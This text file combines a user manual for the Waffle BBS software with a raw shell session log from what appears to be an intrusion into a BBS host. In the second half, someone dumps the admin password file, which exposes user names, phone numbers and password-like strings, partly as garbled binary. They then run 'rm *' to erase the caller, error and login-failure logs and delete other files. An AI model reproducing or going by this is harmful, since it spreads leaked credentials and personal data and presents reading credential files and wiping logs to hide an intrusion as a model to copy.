list: 01 Dark Side of the Moon - PINK FLOYD 35 02 Moving Pictures - RUSH 29 03 Wish You Were Here - PINK FLOYD 25 ... 48 Black Sea - XTC 6 49 Blood on the Tracks - BOB DYLAN 6 50 Fragile - YES 6 Anyway the list seems to be dominated by symphonic rock, but I suppose that's how the cake bounces. Change this (yes/no)? The general idea behind the JOURNAL is to allow users to submit various items, and let the exact nature of the submissions be a surprise of sorts. Sometimes the JOURNAL will be a one or two line "cookie" and other times a 25K diatribe. This command can be abbreviated as "J". LIST List the last 20 callers, and some amount of information regarding their stay on the system: 79666 2400b ferret Dave - A Twinkie <8> 4:49p 5:05p FRI 26 BYE 79667 2400b sm0jmn Bernt Andersson <0> 5:09p 5:10p FRI 3 BYE 79668 2400b joej Joe Rackelmann <1> 5:11p 5:16p FRI 4 BYE 79670 2400b grimm A/C <8> 5:18p 5:19p FRI 2 BYE 79671 1200b mentor The Mentor <2+> 5:21p 5:30p FRI 6 BYE 79673 1200b wright ken wright <0> 5:43p 5:44p FRI 3 LOST 79674 2400b greg Greg Montgomery <0> 6:14p 6:16p FRI 5 BYE 79677 1200b jim Jim Klessig <1> 6:23p 6:46p FRI 19 BYE 79778 2400b redline Redline <1> 6:49p 7:14p FRI 1 TIME If a numeric argument NN is given, the last NN callers will be listed instead of the last 20 (LIST 500 displays the last 500 callers). Here's what lines in the caller log really mean: 1 2 3 4 5 6 7 8 9 79665 2400b floyd Floyd R Turbo <9+> 3:15p 4:40p FRI 29 BYE 1 Caller number. Incremented after every connect. 2 Baud rate of user. People take insane pleasure in altering this field with the BAUD command.. 3 Account name of user. 4 Full Identity of user, with access level, and + if user posted. Users often ask what the + means. If they do, we tell them "That means they voted republican in the last election". 5 Login time. 6 Logout time. 7 Day of the week. 8 Number of commands user entered ("Moves"). This is an indication of the amount of activity a user performed while online. 9 Method used to logout ("Egress"). This may be: BYE logged out normally LOST lost carrier IN typed LOGIN EXIT special shell IDLE user timed out waiting for a key to be pressed SiN user took 255 turns (far too many) This command can be abbreviated as "L". LOGIN Logs out of the current account, and requests a new name and password as if the user had just called the system. [#1: the Public Barbequeue] 6:29 pm (?=help!) -> LOGIN lunatic logged out 04-Jul-69 06:29p Login or NEW: This is useful for callers who have a friend present that wants to login to the system without redialing, or if you want to exit your account and use a system maintenance account. LOGOFF or LOGOUT Terminate connection to the system, the same as BYE. MAIL The MAIL command permits private electronic communications between users on the system or users on other systems. Typing MAIL places you in a "mail submenu" where a number of commands are available. Most of these commands may be abbreviated to a single letter. % AGAIN Reread the current message. Also see the VERBOSE command if you want all headers to be visible. % BACK Go backwards and read the previous message. % CLEAR Clear the screen, usually used for privacy reasons. % DELETE Delete the current message. Next/37 Mail> D Message 36 marked for deletion. To UNDELETE a message, DELETE it again. In effect this command toggles the "deleted" status. The message will be retained until MAIL is exited, after which it will be removed from disk and can no longer be undeleted. An argument may be specified containing a message number to remove: Next/37 Mail> D 5 Message 5 marked for deletion. % DOWNLOAD Download the current mail message with the active protocol. Next/37 Mail> DOWN Download #36 via Z protocol? y 17 blocks, 3k, with Z protocol % EXPAND Expand a mailing list. This is the same as the EXPAND command at the main Waffle menu. % FOLLOW REPLY to a message, including quoted text in the reply. This helps a lot towards establishing the context of the remarks. An address other than the originator of the message may be specified: FOLLOW daltry@who.org Multiple addresses may be specified. % FORWARD Resend the current message to a new recipient. This is usually used when you want someone to read the message, or if mail is accidentally sent to the wrong box (through user error). Next/37 Mail> forward sysop To: sysop Letter saved. This only forwards the current message; it does not apply to future mail. % GO Prints a selection of mail folders, of which you may make a selection or hit RETURN. The default folder is the MAILBOX folder, where all normal incoming mail ends up. Next/1441 Mail> G Current folder is: mailbox Folder Letters Bytes Last modified ---------- --------- --------- --------------------- MAILBOX 1442 3882384 14-Feb-92 02:02 CIS 3 1402 31-Jan-92 00:09 Enter folder name or RETURN to resume: CIS "GO CIS" will do the same, but omits the menu. Folders are created using the MOVE command after reading a message. If you need to get to the folder list but you don't have any mail, use MAIL * from the main prompt. % HELP Gives the MAIL menu, a quick summary of these commands. % LIST List the dates and sender of each message. Next/37 Mail> LIST 37 19 Jun 90 - ferret (Dave - A twinkie) 38 19 Jun 90 - jas (The Slipped Disk) 39 23 Jun 90 - dell@vox.darkside.com (Thomas E Dell) 40 26 Jun 90 - Frank Chiquerie 41 29 Jun 90 - lunky!pez (J Beauregard Pez) A starting number and header (LIST 1 SUBJECT), or just a header (LIST ORGANIZATION) may be specified: Next/37 Mail> LIST 1 SUBJECT 1 19 Jun 90 - Welcome to the system! 2 19 Jun 90 - 3 23 Jun 90 - The largest gear we've ever had! 4 26 Jun 90 - We have no bananas. 5 29 Jun 90 - Re: The largest gear we've ever had! (In this instance message #2 has no Subject: line). Upon entering MAIL, a LIST is normally displayed. To abort a list, use ^C (Unix/DOS) or spacebar (DOS). % MOVE Move current message to a folder. If the folder does not exist, one is created by that name. If you don't give an argument, the GO menu is shown and you may select a folder from it. Next/32 Mail> MOVE BOUNCES Message 31 moved to BOUNCES folder. MOVE marks the message as deleted. As you exit the mailbox the message was in, it is then deleted. % NEXT Read the next message. This is the same as pressing , which is what people normally should do. Next/34 Mail> To: sysop From: elvis (Elvis Aaron Presley) Comments: what's going on around here anyway Date: Sat, 25 Aug 90 10:51:43 PDT Please remove my account. I will be no longer calling your system, due to my unfortunate circumstances. Next/35 Mail> % QUIT Exit MAIL. If messages have been deleted, they are removed at this time, otherwise the question Next/37 Mail> q Purge all letters? y 40 messages purged. is asked. This will NOT be asked if you are reading FEEDBACK with the SYSMAIL command. % REPLY Reply to a message. The "Subject:" will have a "Re:" attached in front if one does not already exist. For example, Next/37 Mail> r To: Frank Chiquerie Subject: Re: 408 Area Code A REPLY can also be sent to someone other than the person who sent the message, Next/37 Mail> R frank@wk24.lugnut.com This is often necessary if the address has been munged beyond recognition by the time it gets to your site, plus various other scenarios. % SEND Send a message. Same as "MAIL address"; does not use the previous message's Subject. Next/36 Mail> send dell@vox.darkside.com % VERBOSE Redisplay message with ALL headers, including those turned off with the "ignore" parameter in the static file. % WRITE Save the current message in a file in the user's home directory. If the file already exists the message will be appended. Next/36 Mail> write Appended to file /user/lunatic/mailbox If a name is specified, that filename will be used to store the message: Next/36 Mail> write yip.txt Written to file /user/lunatic/yip.txt It is generally more efficient to keep old mail in such a file rather than in the mailbox. Privileged users may WRITE to device files; ie., "WRITE PRN", to send output to the printer. Typing a message's number at the MAIL prompt will cause that message to be read. If you want to add additional headers to messages, the static file parameter "ask:" should be added; see STATIC.DOC file. The MAIL command can be abbreviated as "M". MEMORY For the DOS version of Waffle, tells how much memory is still free for running other programs. coreleft = 224824 If this number is low, say 50k or less, either there is a configuration problem or your machine had little memory to start with. NEW Read all new messages on all subscribed newsgroups. For people who do not have a JOIN file, the date of the last NEW scan is used to determine if messages are new. For those with JOIN files, only subscribed groups will be checked for new messages. See the description of the JOIN command for more information. All READ menu commands are available with the NEW command. See the information on READ for a more detailed description of these. If an argument is given, the NEW can will start at that group; this is useful if you only want to read a few groups near the end of your NEW scan. This command can be abbreviated as "N". NODE The least useful Waffle command. Displays the network name of the machine, for example: elf.santa-cruz.ca.us This is generally the same name used on return addresses. OFF An alias for the BYE command. Logoff the system, and terminate connection. OREO A nutritional food item yet to be featured on the Twin Peaks television show. This is included so that people typing "O" are not immediately logged out because of OFF. When another command starting with "O" is added to the list of available commands, this practice will be discontinued. PAGE Clear the screen, usually for reasons of privacy. This will be effective only if your terminal supports this function, and only if Waffle thinks your terminal is what it really is. PAGE is identical to the CLEAR command. PATH An alias for the CD command, to change disk directories. Using PATH requires a privileged account. PLAN Create a PLAN file, which is displayed when someone fingers your account: [#1: the Public Barbequeue] 6:29p (?=help!) -> PLAN Create /user/floyd/plan? Y [...0 lines...] 1> We all shine on.. 2> Like the moon, and the stars, and the sun.. 3> /s If you already had a PLAN file in your home directory, this will edit the file rather than create a new one. POOF Vanish from the system without leaving a trace. You can use the POOF command to skip entering yourself in the caller log. This is commonly used by sysops who don't want to show up there too much, and by timid users who are ashamed to show their faces. Normal users may not POOF on their first call of any day. This is to discourage hidden users of your BBS. All POOF's are recorded in the EVENTS log. POST Post a message on a forum or newsgroup. A subject will be requested, although additional headers may also be requested if the system has been configured in that manner. Access to post in a particular forum is required before a user is permitted to enter a message. [#1: the Public Barbequeue] 6:29p (?=help!) -> POST Subject: BBQ - This Sunday at 6PM Enter message, single / when done. /s to save or /q to quit without saving. 1> Under penalty of death all users are expected 2> to attend the barbequeue. This order comes 3> from the Highest Authority. 4> /s Message saved. With Usenet newsgroups, it is often convenient to crosspost an article to multiple groups. You can do this by specifying arguments to POST, such as POST rec.arts.comics,alt.cyberpunk Crossposting is forbidden to moderated newsgroups, or newsgroups where this facility has been disabled with the "/solo" configuration keyword. This command can be abbreviated as "P". PROMPT Change the main Waffle prompt. Normally, this is set to %B%|%T (?=help!) -> % which translates to current newsgroup (full name) followed by a carriage return, the time and "(?=help!) -> ". [#1: the Public Barbequeue] 6:29p (?=help!) -> _ A full description of % options is available in STATIC.DOC documentation file. Entering PROMPT without an argument changes back to the default prompt. If you really want NO prompt, use "PROMPT %". The default prompt is configured in the static file parameter "prompt"; this command is included to allow users to customize their prompts by using their "waffle" startup files. READ The READ command enters Waffle's "newsreader mode", for reading & responding to Usenet messages. "READ" alone will read the currently selected newsgroup, where "READ group" will read a different one. Normal behavior after typing READ is to just hit return to read messages. Other commands that are available with READ or NEW are: % AGAIN Read the current message again. Also see the VERBOSE command if you want to read it without any headers supressed. % BACK Go back one message to read the previous message. However, to go forward a message hit RETURN (the NEXT won't do this). % CANCEL Remove a message that you had previously posted. If the message was sent over the network, a CANCEL control message will be generated to remove the message on all systems. [RET] 434-533, Q)uit: cancel From: jones@pyrite.edu (Robert F. Jones, x3312) Subject: Re: Making your car explode Cancel 434 on rec.pyrotechnics? Although a privileged user may cancel any message, it is considered impolite to CANCEL messages from people on other systems. % CATCH Mark ALL messages as read. If this is a NEW scan, Waffle will proceed to the next newsgroup. [RET] 434-533, Q)uit: catch Catch up ALL MESSAGES on rec.pyrotechnics? y % DOWNLOAD Download current message, using the currently selected protocol. [RET] 434-533, Q)uit: download Download #434 via Z protocol? y 17 blocks, 3k You should then start up the receiving end of your terminal to receive the file. % FOLLOW Post, including quotes. Text from the most recently read message is prefixed by >'s. [RET] 434-533, Q)uit: f Subject: Re: The safest pyrotechnic NOTE - Please delete any unnecessary text in the quoted message, as it tends to get annoying... You are now placed in the editor to compose a response. % FORWARD Mail copy of message elsewhere. This is similar to the MAIL forward command except deals with a posted message instead of a letter. [RET] 434-533, Q)uit: forward jim To: jim Letter saved. % LIST Display message subjects or other headers. [RET] 434-533, Q)uit: LIST 434: Re: Stupid Childhood Activities 435: Re: The safest pyrotechnic ...etc... A numeric argument will begin listing at that number. When an "alpha" argument is given, that header will be listed instead of the SUBJECT line: [RET] 434-533, Q)uit: list from 434: jones@pyrite.edu (Robert F. Jones, x3312) 435: sysmgr@KLING.ENG.DUMB.EDU (Doug Mueller) ...etc... These two forms may be combined: [RET] 434-533, Q)uit: list 450 subject 450: Kansas State University, Dept. of Computing 451: University of California, Berkeley ...etc... % MAIL Send private mail to author, with quoted text of the message included. This is in effect a followup mailed to the author rather than posted for the rest of the world to see. % NEXT Skip to following forum, leaving any remaining messages unread. This is NOT the same as just pressing return to read the following message. % POST Post public message. Newsgroups may be specified in the argument. See the full section on the POST command. This will also occur if you answer YES to a "Post Here?" question during a NEW scan. % QUIT Exit to main menu. The newsgroup you were in when you started will be reentered. % SEARCH Search by subject or author. The first time give the search string as an argument to SEARCH; after that "s" without any argument will continue the search where you left off. [RET] 435-534, Q)uit: s thermite <..a message is displayed that contained the word "thermite" in the header..> [RET] 435-534, Q)uit: s Not found. <..there were no more messages about thermite, apparently..> % UNJOIN Unsubscribe to newsgroup. If you answer YES, it will be removed from your JOIN file. [RET] 435-534, Q)uit: u Unsubscribe to rec.pyrotechnics? y If you have no JOIN file, this has no effect. To resubscribe, type "JOIN newsgroup" at the main Waffle prompt. If you just want to scan a newsgroup without JOINING, type "READ newsgroup" at the main prompt. This will not alter your JOIN file. % VERBOSE Redisplay the current message, including any headers that would normally be suppressed by the "ignore" statement in the static file. The "ignore" headers normally clutter up a message, but occasionally someone will want to see what the missing headers are. % WRITE Save the current message in a file in the user's home directory. If the file already exists the message will be appended. Next/36 Mail> write Appended to file /user/lunatic/messages If a name is specified, that filename will be used to store the message: Next/36 Mail> write yap.txt Written to file /user/lunatic/yap.txt Also whenever a number is entered instead of a command, that message will be displayed. Hitting RETURN causes the next message to be read. The READ command can be abbreviated as "R". RENAME Rename a disk file. Also, under some circumstances, the file may be renamed into a different directory (provided the directory is on the same physical disk as the original file). REN oldfile.txt newfile.txt RENAME is reserved for privileged users. This command can be abbreviated as "REN". SHELL Enter the operating system (usually COMMAND.COM or the Unix C shell). Obviously, for security reasons only privileged users are permitted access to the SHELL command: [#1: the Public Barbequeue] 6:29p (?=help!) -> SHELL [shell - type EXIT to return] C:\WAFFLE\BIN>DIR R*.EXE Volume in drive C is DROOL Directory of C:\WAFFLE\BIN RMAIL EXE 23966 7-05-90 8:55p RNEWS EXE 38640 7-03-90 8:19p 2 File(s) 913408 bytes free C:\WAFFLE\BIN>EXIT A similar display results with the Unix version of Waffle. If arguments are given to the SHELL command, they are executed without a command line. For instance, SHELL DIR R*.EXE has the same effect as the above. When running under DOS, it should be noted that there are some programs that are not "well behaved", that is, the input or output cannot be intercepted by Waffle to send over the modem. Such programs should not be used with a modem. SHOW Examine the system logs. There are a number of logfiles maintained by Waffle in the /waffle/admin directory that are useful to examine from time to time: SHOW TRANSFER will display the last 20 file transfers. To view more transfers, an additional numeric argument can be specified: SHOW 50 TRANSFER Some other interesting logfiles that can be examined in this manner include SHOW CALLERS Equivalent to LIST command SHOW ERRORS Any errors that the system has detected; some errors occur due to normal use. SHOW EVENTS Equivalent to EVENTS command SHOW LOGFAIL Login failures detected by the Waffle login sequence. SHOW REQUESTS Account request information, including any answers to the newuser questionnaire. There are more logfiles that are specific to the DOS networking utilities, such as SHOW NET and SHOW UUCP; refer to the documentation regarding those programs for further information. STATUS The STATUS command allows the user to display and modify information pertaining to his or her account. A list of the current information is shown, some of which may be altered: Account Name: system (SYSTEM 0PERATOR) Password: 14*boom Calls so far: 882 Posts left: 239 New messages: 105 since 06-Jul-90 Uploads: 974k Downloads: 264k Text Editor: vi Terminal Type: vt100 System calls: 79854 ..and posts: 20046 Last caller: grogant (Tim Grogan) change Editor Level Rank Name Password Terminal? The user may change any one of the following: EDITOR Text editor, to be used when entering messages or mail. LEVEL, For BBS's that have been configured RANK, or with a rank/level system, these three COMMENT items can be changed by people with sufficient access level. Example: Level 0: Unvalidated Here, "0" is the LEVEL and "Unvalidated" is the RANK (or COMMENT). NAME Change user's name; this is the "identity" rather than the login name. PASSWORD Set password -- do not forget what you change it to or you will be unable to login. TERMINAL Configure terminal type. Common terminal types include "none" and "vt100". See the section under "TERM" form additional information. The display of this command is controlled by the file /waffle/system/status, and can be altered if the need arises. SYSMAIL Read and respond to FEEDBACK. Specifically, any privileged account can access the mailbox of user "system" with SYSMAIL. [ Mail for ] 80 12 Jul 90 - bigtime!larry@CS.ORST.EDU (Larry Gilbert) 81 13 Jul 90 - greg (Greg Montgomery) 82 13 Jul 90 - anwyn (anwyn) 83 13 Jul 90 - jim (Jim Klessig) 84 14 Jul 90 - "Erik E. Fair" Next/78 Mail> QUIT The last ten letters are listed when first entering SYSMAIL; the example above has been abbreviated. Any responses to mail in the "system" mailbox are sent with the originator's return address. TAIL View the last few lines of a file. For instance, TAIL /waffle/system/callers will show the last 20 lines, or fewer if there aren't that many lines in the file. When an additional argument is given, a number other than 20 can be viewed: TAIL 400 /waffle/system/callers will give you the last 400 lines, if you are so inclined. TERM Select a terminal type. The DOS version of Waffle supports two types of terminals, vt100 (or ansi), and a plain terminal. Type TERM for a list of terminals available: [#1: the Public Barbequeue] 6:29p (?=help!) -> TERM This flavor of Waffle supports two types of terminals, vt100 VT100 emulation none No emulation at all To select a terminal, either issue the TERM command, as [#1: the Public Barbequeque] 6:29p (?=help!) -> TERM vt100 Terminal set to vt100 or select "Terminal" from the STATUS command's menu. The Unix version of Waffle supports any terminal handled by Unix termcap, including vt100, vt52, vt220, and many others. The specifics vary from one version of Unix to another. TIME Display the current date and time, plus the time online and time remaining: Sun, 15 Jul 90 17:05:47 PDT, on for 2 minutes, 88 left This is identical to the DATE command. TYPE View a file; similar to the DOS "type" or Unix "cat" commands. The filename may be a file or a pathname. TYPE welcome For unprivileged users, the file is assumed to be in the user's directory; otherwise the current directory is checked. UNJOIN Remove a newsgroup from your JOIN file, and thus from your NEW scan. For example, UNJOIN comp.sys.ibm.pc Much more information on this can be found under JOIN. USERS Display a listing of all users on the system, along with identity, last call date, and comment: Userlist @ darkside.com, 1334 total aahz | Aahz | 01-Mar-90 | Psychedelica aldr_do | Mark Aaldering | 22-May-90 | obba babatumbe ard | Aardvark | 09-May-90 | Generic Rank able | Able Baker | 15-Dec-89 | who goes abs | Al Sinclair | 13-Jun-90 | Have you seen absolute | Absolute | 17-Jun-90 | It's 2am & the achilles | Achilles | 12-May-90 | Toe Jam Football ack | Bill the un Cat | 28-Jun-90 | Black Velvet acumen | Acumen Publishing | 08-Feb-90 | Be good to your This command can be abbreviated as "U". VALIDATE Searches though the userlist for newly created accounts and asks whether to validate these or not: Validate floyd (Floyd R Turbo) Bud at 408/245-SPAM - y/n/kill? Y If "Y" is given as an answer, an ADMIN EDIT command is for that account; an "N" answer will cause the account to be remain unvalidated. A "K" will remove the account. After validation, an event is placed in the EVENTS log to allow assignment of credit/blame to the validators, in the event several people are using VALIDATE. VERSION Display the version number of Waffle that you are using. Waffle v1.65 compiled 3.1.92 (C) Copyright 1992 Darkside Int'l PO Box 4436 Mountain View CA 94040 Public access dialup at +1 408 245 SPAM Inquiries to dell@vox.darkside.com ..apple!uuwest!vox!dell Of course you probably know what version you are running, but other people on your system may not. WELCOME Redisplay the welcome message that was viewed immediately after logging in. (Occasionally an announcement is missed by an overzealous abort key, and someone wants to review the welcome bulletins..) I N P U T A N D O U T P U T o Control characters and line input When entering a line: ^H - backspace (or DEL) ^W - delete previous word ^X - delete entire line Words will wrap at about 78 characters (though this can be adjusted by the "wordwrap" parameter in the static file. o Pausing or stopping output ^S will temporarily stop output until you hit another key. SPACE (for the DOS version only) or ^C (for both the DOS and Unix versions) will abort most displays. L I N E E D I T O R o Line numbers To specify line numbers you wish to LIST, PRINT, or DELETE, the following formats are valid: Edit> L 8 List just line 8 Edit> L 3,8 List lines 3 through 8 Edit> L 3 8 List lines 3 through 8 Edit> D Delete lines 4 through 5 Delete (1-14)? 4,5 A space or comma may be used to separate line numbers. o Uploading messages The UPLOAD command from within the line editor allows text to be submitted via XMODEM, or whatever the currently defined protocol is. o Saving ANONYMOUS messages Type SAVE ANONYMOUS (in full) to save an anonymous message. This option might be disabled, either in full or on certain boards, depending on the discretion of the SYSTEM 0PERATOR. Though your name won't be associated with the POST, the time and date will be displayed and can be matched up in the caller LIST. The system will prevent a network-bound message from being posted anonymously, as a good neighbor policy. U S E R D I R E C T O R I E S o User directories Users are allowed to create user directories, to keep Stuff in. (We all need places to put our Stuff). You can archive mail messages, posts, or other files. From the FILES section you can also LOG your user directory. PLAN will create a /user/username directory for you and allow you to edit your plan file. o Files in the user directory: Files that you may find in your directory include: sig Your signature file. Text from this file will be appended to any message you post. This should not be more than five or so lines or people will become upset. mailsig Your MAIL signature file. plan Your plan file. This is displayed when another user FINGERs your account, and can be changed with the PLAN command. messages Archived messages, saved with the WRITE command from the READ menu. mailbox Archived mail, saved with the WRITE command from within the MAIL system. waffle File containing BBS commands that will be executed as you login. -- dell@vox.darkside.com (C) Copyright 1992 Darkside Int'l. mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% chdir admin mailman% ls callers index password requests errors logfail password.OLD transfer events new passwordbad mailman% cat password Waffle Password File V2 efault*Default AccountDefault Account408/245-SPAMnonenoneNo comment..0unkn ownPXystemyougo*System ManagerYngwie Account408/245-SPAMnonenoneNo comment. .9vt100n PX6.pbsult*any bbs userntbbsult Accountnone45-SPAMnonenonetest bbs usersbbsunknownPXtestcasetestcasetest casecounttestlt Account000-000-000no nenoneNo comment..0unknownPX+5@D+5E+5@D+5@D+5@DayvangooberKayvan SylvantKay van Account408/978-1407nonenoneNo comment..7unknownPX ,UA-4),UA,UA,UAschlt14^goldEric SchemmerlingEriclt Account408/879-5040bin/cs hnonenoneNo comment..9unknown PK -4)kkayvangooberKayvan S ylvantKayvan Account408/978-1407nonenoneValidated user.9velunknown PX, +Lu,+Pb,+Lu,+Lu,+LutoppantoppanToppan Corp AccountToppan Account408/983-97 16nonenoneTempory Full access9unknown PZ *.f?_adence$spenTCadence CorpntCadence Corpnt408/245-SPAMnonenoneNo co mment..2unknownPZ) --%errytznewd0ggerry glaserntgerryt Account408/732- 9190nonenoneNo comment..0unknownPX -/K-/j-/K-/K-/KireheadwindowsEdmund Jack Dallen RuEdmund Account011447 37226152nonenoneNo comment..0unknownPX-1w-2v}-1w-1w-1worthern@noTIMENor thern TelecommNorthern Telecomm408/245-SPAMnonenoneSee 'lam' from apps2 unknownPY-msavidl@notimeDavid M. LoftusDavidt Account404/448-4733vienon eNo comment..3vt100nPX -4yw. -4yw-4yw-4yw1aultu134Default AccountDefault Account408/245-S.125unknown "ywireheadwindowsEdmund RussellEdmund Account073/722-6152nonenoneNo comment. .0unknownPX-ptO.CE-ptO-ptO-ptOtrialttrailmary ann ambrosiaMary Annccount8 79-4944PAMnonenoneNo comment..0unknownPX..i... istestshitedMIS TEST ACCOUN Tjefflt Account408/245-SPAMnonenoneNo comment..9unknown1,2,3 PX .rognliecollinCollin RognlieCollin Account415/949-2412nonenoneNo comment..0unknownPX.(D.,S.(D.(D.(DentimesapacheSushi BatterntJohnlt Accou nt01015037771578nonenoneNo comment..0unknownPX.qS.sn.qS.qS.qStudortshamenda vid pettersonDavidt Account900-5544PAMnonenoneNo comment..0unknownPX.3>.M. ?S.3>.3>willƒ9!)!?‡ÿÙ™™™™ÿƒ™™ƒ™™ƒÿáÏŸŸŸÏáÿ‡“™™™“‡ÿŸŸ‡ŸŸÿŸŸ‡ŸŸŸÿÙŸ‘™™ Áÿ™™™™™™ÿPX.Cvv.OEC.Cvv.Cvv.Cvvgvclt1234jhv jhvAccountkhault Account5364354SPAMnone noneNo comment..0unknownPX.C.C$.C.C.Cester0000willyt Accountwillyt Accoun t09876654322nonenoneNo comment..0unknownPX.CT<.CU.CT<.CT<.CTb.Lp..Lp..Lp.aveltsmithdave smithountd avelt Account305 297 4172nonenoneNo comment..0vt100nPX.RsS.f/.RsS.RsS.RsSi crsonufomrmichael richardsonmichaelAccount051-428-8924nonenoneNo comment.. 0vt100nPX.Y#.fw.Y#.Y#.Y#ameytchartjamey fosterntjameyt Account0782 875433n onenoneNo comment..0unknownPX .ZfQ.Zj.ZfQ.ZfQ.ZfQabertspinnypaul gaberountp aullt Account0101/792-6648nonenoneNo comment..0unknownPX!._.f8._._._avelts hitDave smithountDavelt Account408 312 6189yesnonenoneNo comment..+1999unkn owntoppanPX".f> mailman% mailman%^D ^H ^H: Command not found. mailman% ls callers index password requests errors logfail password.OLD transfer events new passwordbad mailman% rm * mailman% ls mailman% cd mailman% mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% chdir files mailman% ls public xact mailman% cd mailman% chdir info mailman% ls 1 2 3 menu mailman% rm * mailman% cd mailman% chdir user mailman% ls dave esch micrson prime toppan david jamey northern system tudor mailman% cat system V...X mailbox.i[T mailbox.fmailman% ls dave esch micrson prime toppan david jamey northern system tudor mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% chdir extern mailman% ls NOTE _receive _send _system _editors _receive.old _send.old mailman% cd mailman% chdir extras mailman% ls NOTE ndir.c newsin.c smail25.pat watchdog.c namer.c ndir.h release smail3.use mailman% cat watchdog.c Watchdog. Note, v1.66 should have this functionality built in the extern configs with something like /timelimit=.. --Tom ----------------- From: john@jwt.UUCP (John Temples) Newsgroups: alt.bbs.waffle Subject: Re: Enforcing ONLINE Time (UNIX Waffle) Message-ID: <1991Nov7.050546.19046@jwt.UUCP> Date: 7 Nov 91 05:05:46 GMT Organization: The Museum of Barnyard Oddities >I posted a solution to this several months ago; a program called >"watchdog." By popular request, here it is. Note: this is for UNIX only!! The last time I posted this, I was getting mail from people asking for a DOS version... ----- /* * watchdog: run a child process for a period of time, then kill it. * * usage: watchdog [] [...] * * typical Waffle usage: foo /command="watchdog %O foo bar baz" * * Written by John W. Temples, III * * This code may be freely distributed and modified, but carries * no warranty of any kind. Use it at your own risk. * * tab size: 4 */ #include void timeout() { /* do nothing */ } void main(argc, argv) int argc; char *argv[]; { int child_pid, i, time_left; if (argc < 3) exit(1); if ((child_pid = fork()) == 0) execvp(argv[2], &argv[2]); /* run the child process */ /* parent process */ signal(SIGINT, SIG_IGN); /* ignore keyboard signals */ signal(SIGQUIT, SIG_IGN); time_left = atoi(argv[1]) * 60; if (time_left > 120) { /* set up for two-minute warning */ signal(SIGALRM, timeout); alarm(time_left - 120); if (wait((int *)0) == -1) puts("\n\nTwo minutes until forced logoff -- save what you're doing!"); else exit(0); time_left = 120; } signal(SIGALRM, timeout); alarm(time_left); if (wait((int *)0) == -1) { /* time ran out */ kill(child_pid, 1); /* give them a chance to go cleanly */ sleep(3); kill(child_pid, 9); /* if they didn't... */ wait((int *)0); exit(0); } else /* they exited */ exit(0); } -- John W. Temples -- john@jwt.UUCP (uunet!jwt!john) mailman% ls NOTE ndir.c newsin.c smail25.pat watchdog.c namer.c ndir.h release smail3.use mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% chdir extern_pgms mailman% ls U rzsz-3.07 xmodem rzsz rzsz-3.07.tar.gz zmodem-3.03 mailman% rm * rm: rzsz is a directory rm: rzsz-3.07 is a directory rm: xmodem is a directory rm: zmodem-3.03 is a directory mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% rmdir bin rmdir: bin: Permission denied mailman% chdir help mailman% ls address commands forums join menu transfer vivisect mailman% cd mailman% chdir local mailman% ls 0 1 2 3 4 mailman% cd mailman% chdir user mailman% ls dave esch micrson prime toppan david jamey northern system tudor mailman% chdir lib lib: No such file or directory mailman% cd mailman% chdir lib mailman% ls Makefile foreach.o month.c pw_find.o pw_read.c strdup.o NOTE fsize.c month.o pw_fix.c pw_read.o stricmp.c arpadate.c fsize.o mtoi.c pw_fix.o pw_set.c stricmp.o arpadate.o getargs.c mtoi.o pw_full.c pw_set.o strlwr.c change.c getargs.o nap.c pw_full.o pw_split.c strlwr.o change.o getopt.c nap.o pw_if.c pw_split.o strnicmp.c config.c getopt.o oneof.c pw_if.o pw_write.c strnicmp.o config.o lib.h oneof.o pw_inkey.c pw_write.o strupr.c convert.c libwaf.a pass.h pw_inkey.o pw_zero.c strupr.o convert.o load.c profile.h pw_leav.c pw_zero.o syslog.c copyn.c load.o pw_add.c pw_leav.o rename.c syslog.o copyn.o locate.c pw_add.o pw_lock.c rename.o tag.c dup2.c locate.o pw_card.c pw_lock.o seconds.c tag.o dup2.o makeid.c pw_card.o pw_max.c seconds.o timestam.c filedate.c makeid.o pw_close.c pw_max.o sort.c timestam.o filedate.o match.c pw_close.o pw_mini.c sort.o tree.h fitfs.c match.o pw_dekey.c pw_mini.o spawn.c undate.c fitfs.o mkdir.c pw_dekey.o pw_new.c spawn.o undate.o fixcom.c mkdir.o pw_del.c pw_new.o strcase.c unlist.c fixcom.o mkpath.c pw_del.o pw_open.c strcase.o unlist.o foreach.c mkpath.o pw_find.c pw_open.o strdup.c mailman% cat syslog.c /* * WAFFLE v1.65 LIBRARY * (C) Copyright 1991 Thomas E Dell, All rights reserved. * * Not for distribution under any circumstances * * The Waffle runtime library may not be used outside of the machines * to which it's licensed on, without our express permission. * */ #include "lib.h" /* from static file */ extern char *xWaffle; /* * s y s l o g * * Log an event to a specified log. This differs slightly from the * syslog in waffle.c in that the ID field can be specified. * */ syslog (logfile, id, mes) char *logfile, *id, *mes; { FILE *fp; char filename [BUFSIZ]; sprintf (filename, "%s/admin/%s", xWaffle, logfile); if ((fp = fopen (filename, "a")) != NULL) { fprintf (fp, "%s %-10s | %s\n", timestamp (ALL, -1L), id, mes); fclose (fp); } } putlog (logfile, mes) char *logfile, *mes; { FILE *fp; char filename [BUFSIZ]; sprintf (filename, "%s/admin/%s", xWaffle, logfile); if ((fp = fopen (filename, "a")) != NULL) { fprintf (fp, "%s\n", mes); fclose (fp); } } mailman% cd mailman% chdir amin amin: No such file or directory mailman% chdir admin mailman% ls mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% rmdir admin rmdir: admin: Permission denied mailman% chdir waffle.login waffle.login: Not a directory mailman% chdir extern mailman% ls NOTE _receive _send _system _editors _receive.old _send.old mailman% cd mailman% chdir tets tets: No such file or directory mailman% chdir text mailman% ls change failed filestat logwarn newusers status welcome entry feedback loghelp master nofiles time excuse files logout moderate nojoin unfiles mailman% cat master [] Xilinx BBS +1 800 457 4431 [] Public Download Sections mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% chdir local mailman% ls 0 1 2 3 4 mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% quit quit: Command not found. 